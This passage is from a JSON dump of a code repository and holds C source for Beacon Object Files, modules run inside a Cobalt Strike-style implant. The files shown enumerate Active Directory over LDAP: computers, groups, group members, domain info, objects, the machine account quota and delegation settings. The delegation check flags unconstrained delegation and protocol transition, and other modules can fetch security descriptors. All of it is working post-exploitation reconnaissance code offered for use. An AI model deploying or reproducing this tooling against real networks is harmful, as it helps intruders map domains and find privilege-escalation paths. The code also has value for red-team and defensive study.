CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Build attribute list\n    char* attrs[64];\n    int attrCount = BuildAttributeList(attributesStr, NULL, 0, attrs, 64);\n\n    // Check if ntSecurityDescriptor is requested (case-insensitive)\n    BOOL needSDFlags = FALSE;\n    for (int i = 0; i < attrCount; i++) {\n        if (MSVCRT$_stricmp(attrs[i], \"ntSecurityDescriptor\") == 0) {\n            needSDFlags = TRUE;\n            break;\n        }\n    }\n\n    // Query the attributes\n    LDAPMessage* searchResult = NULL;\n    ULONG result;\n\n    if (needSDFlags) {\n        // Create SD_FLAGS control for ntSecurityDescriptor\n        DWORD sdFlags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;\n\n        char sdFlagsBuffer[10];\n        struct berval sdFlagsValue;\n        LDAPControlA* sdFlagsControl = BuildSDFlagsControl(sdFlags, sdFlagsBuffer, &sdFlagsValue);\n\n        LDAPControlA* serverControls[] = { sdFlagsControl, NULL };\n\n        result = WLDAP32$ldap_search_ext_s(\n            ld,\n            targetDN,\n            LDAP_SCOPE_BASE,\n            \"(objectClass=*)\",\n            attrs,\n            0,\n            serverControls,\n            NULL,           // ClientControls\n            NULL,           // timeout\n            0,              // SizeLimit\n            &searchResult\n        );\n    } else {\n        result = WLDAP32$ldap_search_s(\n            ld,\n            targetDN,\n            LDAP_SCOPE_BASE,\n            \"(objectClass=*)\",\n            attrs,\n            0,\n            &searchResult\n        );\n    }\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query attributes\");\n        PrintLdapError(\"Query attributes\", result);\n        MSVCRT$free(targetDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"==========================================\");\n\n        // Display all requested attributes\n        for (int i = 0; i < attrCount; i++) {\n            DisplayAttributeValue(ld, entry, attrs[i]);\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-computers.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: search_ou, dc_address, use_ldaps, attributes\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    char* attributesStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n\n    // Build attribute list\n    char* attrs[64];\n    char* defaultAttrs[] = { \"distinguishedName\", \"operatingSystem\" };\n    int attrCount = BuildAttributeList(attributesStr, defaultAttrs, 2, attrs, 64);\n\n    // Check if ntSecurityDescriptor is requested (case-insensitive)\n    BOOL needSDFlags = FALSE;\n    for (int i = 0; i < attrCount; i++) {\n        if (MSVCRT$_stricmp(attrs[i], \"ntSecurityDescriptor\") == 0) {\n            needSDFlags = TRUE;\n            break;\n        }\n    }\n\n    // Search for computer objects\n    LDAPMessage* searchResult = NULL;\n    ULONG result;\n\n    if (needSDFlags) {\n        // Create SD_FLAGS control for ntSecurityDescriptor\n        DWORD sdFlags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;\n\n        char sdFlagsBuffer[10];\n        struct berval sdFlagsValue;\n        LDAPControlA* sdFlagsControl = BuildSDFlagsControl(sdFlags, sdFlagsBuffer, &sdFlagsValue);\n\n        LDAPControlA* serverControls[] = { sdFlagsControl, NULL };\n\n        result = WLDAP32$ldap_search_ext_s(\n            ld,\n            searchBase,\n            LDAP_SCOPE_SUBTREE,\n            \"(objectClass=computer)\",\n            attrs,\n            0,\n            serverControls,\n            NULL,           // ClientControls\n            NULL,           // timeout\n            0,              // SizeLimit\n            &searchResult\n        );\n    } else {\n        result = WLDAP32$ldap_search_s(\n            ld,\n            searchBase,\n            LDAP_SCOPE_SUBTREE,\n            \"(objectClass=computer)\",\n            attrs,\n            0,\n            &searchResult\n        );\n    }\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for computers\");\n        PrintLdapError(\"Search computers\", result);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    int compCount = WLDAP32$ldap_count_entries(ld, searchResult);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found %d computer(s):\\n\", compCount);\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    while (entry != NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"===================================\");\n\n        // Display all requested attributes\n        for (int i = 0; i < attrCount; i++) {\n            DisplayAttributeValue(ld, entry, attrs[i]);\n        }\n\n        entry = WLDAP32$ldap_next_entry(ld, entry);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-delegation.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT long __cdecl MSVCRT$strtol(const char* str, char** endptr, int base);\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Query delegation attributes\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"msDS-AllowedToDelegateTo\", \"userAccountControl\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        targetDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query delegation\");\n        PrintLdapError(\"Query delegation\", result);\n        MSVCRT$free(targetDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Delegation Configuration:\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"==============================\");\n\n        // Check UAC for delegation flags\n        char** uacValues = WLDAP32$ldap_get_values(ld, entry, \"userAccountControl\");\n        if (uacValues && uacValues[0]) {\n            DWORD uac = (DWORD)MSVCRT$strtol(uacValues[0], NULL, 10);\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] UAC Delegation Flags:\");\n\n            if (uac & UF_TRUSTED_FOR_DELEGATION) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"    [!] TRUSTED_FOR_DELEGATION (Unconstrained delegation enabled)\");\n            }\n            if (uac & UF_TRUSTED_TO_AUTH_FOR_DELEGATION) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"    [!] TRUSTED_TO_AUTH_FOR_DELEGATION (Protocol transition enabled)\");\n            }\n            if (uac & UF_NOT_DELEGATED) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"    [*] NOT_DELEGATED (Account cannot be delegated)\");\n            }\n            if (!(uac & (UF_TRUSTED_FOR_DELEGATION | UF_TRUSTED_TO_AUTH_FOR_DELEGATION | UF_NOT_DELEGATED))) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"    [*] No delegation flags set\");\n            }\n            WLDAP32$ldap_value_free(uacValues);\n        }\n\n        // Get constrained delegation SPNs\n        char** delegateValues = WLDAP32$ldap_get_values(ld, entry, \"msDS-AllowedToDelegateTo\");\n        if (delegateValues) {\n            int spnCount = WLDAP32$ldap_count_values(delegateValues);\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Constrained Delegation SPNs (%d):\", spnCount);\n            for (int i = 0; delegateValues[i] != NULL; i++) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"    %s\", delegateValues[i]);\n            }\n            WLDAP32$ldap_value_free(delegateValues);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] No constrained delegation SPNs configured\");\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-domaininfo.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: dc_address, use_ldaps\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Query rootDSE for domain info\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = {\n        \"defaultNamingContext\",\n        \"rootDomainNamingContext\",\n        \"configurationNamingContext\",\n        \"schemaNamingContext\",\n        \"dnsHostName\",\n        \"serverName\",\n        \"ldapServiceName\",\n        \"forestFunctionality\",\n        \"domainFunctionality\",\n        \"domainControllerFunctionality\",\n        \"supportedLDAPVersion\",\n        \"currentTime\",\n        \"highestCommittedUSN\",\n        NULL\n    };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        \"\",\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query rootDSE\");\n        PrintLdapError(\"Query rootDSE\", result);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Domain Information:\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"=======================\");\n\n        // Print each attribute\n        for (int i = 0; attrs[i] != NULL; i++) {\n            char** values = WLDAP32$ldap_get_values(ld, entry, attrs[i]);\n            if (values && values[0]) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"%-35s : %s\", attrs[i], values[0]);\n                WLDAP32$ldap_value_free(values);\n            }\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n\n    // Get default naming context for additional queries\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (defaultNC) {\n        // Count users, computers, groups\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Object Counts:\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"==================\");\n\n        // Count users\n        LDAPMessage* countResult = NULL;\n        result = WLDAP32$ldap_search_s(ld, defaultNC, LDAP_SCOPE_SUBTREE,\n            \"(&(objectClass=user)(objectCategory=person))\", NULL, 1, &countResult);\n        if (result == LDAP_SUCCESS) {\n            int count = WLDAP32$ldap_count_entries(ld, countResult);\n            BeaconPrintf(CALLBACK_OUTPUT, \"%-35s : %d\", \"Users\", count);\n            WLDAP32$ldap_msgfree(countResult);\n        }\n\n        // Count computers\n        result = WLDAP32$ldap_search_s(ld, defaultNC, LDAP_SCOPE_SUBTREE,\n            \"(objectClass=computer)\", NULL, 1, &countResult);\n        if (result == LDAP_SUCCESS) {\n            int count = WLDAP32$ldap_count_entries(ld, countResult);\n            BeaconPrintf(CALLBACK_OUTPUT, \"%-35s : %d\", \"Computers\", count);\n            WLDAP32$ldap_msgfree(countResult);\n        }\n\n        // Count groups\n        result = WLDAP32$ldap_search_s(ld, defaultNC, LDAP_SCOPE_SUBTREE,\n            \"(objectClass=group)\", NULL, 1, &countResult);\n        if (result == LDAP_SUCCESS) {\n            int count = WLDAP32$ldap_count_entries(ld, countResult);\n            BeaconPrintf(CALLBACK_OUTPUT, \"%-35s : %d\", \"Groups\", count);\n            WLDAP32$ldap_msgfree(countResult);\n        }\n\n        // Count OUs\n        result = WLDAP32$ldap_search_s(ld, defaultNC, LDAP_SCOPE_SUBTREE,\n            \"(objectClass=organizationalUnit)\", NULL, 1, &countResult);\n        if (result == LDAP_SUCCESS) {\n            int count = WLDAP32$ldap_count_entries(ld, countResult);\n            BeaconPrintf(CALLBACK_OUTPUT, \"%-35s : %d\", \"Organizational Units\", count);\n            WLDAP32$ldap_msgfree(countResult);\n        }\n\n        MSVCRT$free(defaultNC);\n    }\n\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-groupmembers.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: group_identifier, is_dn, search_ou, dc_address\n    char* groupIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isGroupDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n\n    if (!groupIdentifier || MSVCRT$strlen(groupIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Group identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection (always use regular LDAP for queries)\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, FALSE, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Resolve group DN\n    char* groupDN = NULL;\n    if (isGroupDN) {\n        size_t len = MSVCRT$strlen(groupIdentifier) + 1;\n        groupDN = (char*)MSVCRT$malloc(len);\n        if (groupDN) {\n            MSVCRT$strcpy(groupDN, groupIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        groupDN = FindObjectDN(ld, groupIdentifier, searchBase);\n        if (!groupDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Group '%s' not found\", groupIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group DN: %s\", groupDN);\n    }\n\n    // Query the group's member attribute\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"member\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        groupDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query group members\");\n        PrintLdapError(\"Query member\", result);\n        MSVCRT$free(groupDN);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** memberValues = WLDAP32$ldap_get_values(ld, entry, \"member\");\n        if (memberValues) {\n            int memberCount = WLDAP32$ldap_count_values(memberValues);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group has %d member(s):\\n\", memberCount);\n            BeaconPrintf(CALLBACK_OUTPUT, \"Member DN\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"=========\");\n            for (int i = 0; memberValues[i] != NULL; i++) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"%s\", memberValues[i]);\n            }\n            WLDAP32$ldap_value_free(memberValues);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Group has no members\");\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(groupDN);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-groups.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: search_ou, dc_address, use_ldaps, attributes\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    char* attributesStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n\n    // Build attribute list\n    char* attrs[64];\n    char* defaultAttrs[] = { \"distinguishedName\" };\n    int attrCount = BuildAttributeList(attributesStr, defaultAttrs, 1, attrs, 64);\n\n    // Check if ntSecurityDescriptor is requested (case-insensitive)\n    BOOL needSDFlags = FALSE;\n    for (int i = 0; i < attrCount; i++) {\n        if (MSVCRT$_stricmp(attrs[i], \"ntSecurityDescriptor\") == 0) {\n            needSDFlags = TRUE;\n            break;\n        }\n    }\n\n    // Search for group objects\n    LDAPMessage* searchResult = NULL;\n    ULONG result;\n\n    if (needSDFlags) {\n        // Create SD_FLAGS control for ntSecurityDescriptor\n        DWORD sdFlags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;\n\n        char sdFlagsBuffer[10];\n        struct berval sdFlagsValue;\n        LDAPControlA* sdFlagsControl = BuildSDFlagsControl(sdFlags, sdFlagsBuffer, &sdFlagsValue);\n\n        LDAPControlA* serverControls[] = { sdFlagsControl, NULL };\n\n        result = WLDAP32$ldap_search_ext_s(\n            ld,\n            searchBase,\n            LDAP_SCOPE_SUBTREE,\n            \"(objectClass=group)\",\n            attrs,\n            0,\n            serverControls,\n            NULL,           // ClientControls\n            NULL,           // timeout\n            0,              // SizeLimit\n            &searchResult\n        );\n    } else {\n        result = WLDAP32$ldap_search_s(\n            ld,\n            searchBase,\n            LDAP_SCOPE_SUBTREE,\n            \"(objectClass=group)\",\n            attrs,\n            0,\n            &searchResult\n        );\n    }\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for groups\");\n        PrintLdapError(\"Search groups\", result);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    int groupCount = WLDAP32$ldap_count_entries(ld, searchResult);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found %d group(s):\\n\", groupCount);\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    while (entry != NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"===================================\");\n\n        // Display all requested attributes\n        for (int i = 0; i < attrCount; i++) {\n            DisplayAttributeValue(ld, entry, attrs[i]);\n        }\n\n        entry = WLDAP32$ldap_next_entry(ld, entry);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-maq.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: dc_address, use_ldaps\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Query domain object for ms-DS-MachineAccountQuota attribute\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"ms-DS-MachineAccountQuota\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        defaultNC,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query machine account quota\");\n        PrintLdapError(\"Query MAQ\", result);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** maqValues = WLDAP32$ldap_get_values(ld, entry, \"ms-DS-MachineAccountQuota\");\n        if (maqValues && maqValues[0]) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Machine Account Quota (ms-DS-MachineAccountQuota): %s\", maqValues[0]);\n            WLDAP32$ldap_value_free(maqValues);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Machine Account Quota attribute not found or not set\");\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No results returned\");\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-object.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: object_identifier, is_dn, search_ou, dc_address, use_ldaps\n    char* objectIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isObjectDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!objectIdentifier || MSVCRT$strlen(objectIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Resolve object DN\n    char* objectDN = NULL;\n    if (isObjectDN) {\n        size_t len = MSVCRT$strlen(objectIdentifier) + 1;\n        objectDN = (char*)MSVCRT$malloc(len);\n        if (objectDN) {\n            MSVCRT$strcpy(objectDN, objectIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        objectDN = FindObjectDN(ld, objectIdentifier, searchBase);\n        if (!objectDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Object '%s' not found\", objectIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Query all attributes\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"*\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        objectDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query object\");\n        PrintLdapError(\"Query object\", result);\n        MSVCRT$free(objectDN);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Object attributes:\\n======================\");\n\n        // Iterate through all attributes\n        BerElement* ber = NULL;\n        char* attribute = WLDAP32$ldap_first_attribute(ld, entry, &ber);\n        while (attribute != NULL) {\n            // Check if this is a known binary attribute (case-insensitive)\n            BOOL isBinary = (MSVCRT$_stricmp(attribute, 